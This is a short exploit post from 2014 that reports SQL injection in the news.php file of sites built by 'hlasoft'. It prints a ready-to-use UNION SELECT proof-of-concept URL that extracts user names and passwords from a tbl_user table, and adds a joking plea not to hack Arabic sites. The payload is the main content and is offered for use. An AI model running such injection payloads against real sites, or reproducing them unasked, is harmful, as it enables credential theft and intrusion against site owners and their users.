facebook facebook twitter rss

Sqli in hlasoft sites

Author: dogo h@ck , Published: 04-08-2014
Sqli in hlasoft sites
Author : dogo h@ck
Dork : N/A ( script kiddie) ;)
------------------
The vulnerability in news.php file

Exploit Poc :-
news.php?id=-12'+%20UNION%20SELECT%201,2,group_concat(user_name,0x3a,user_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+tbl_user+--+
------------------
Please don't hack arabic sites :)

Like us on Facebook :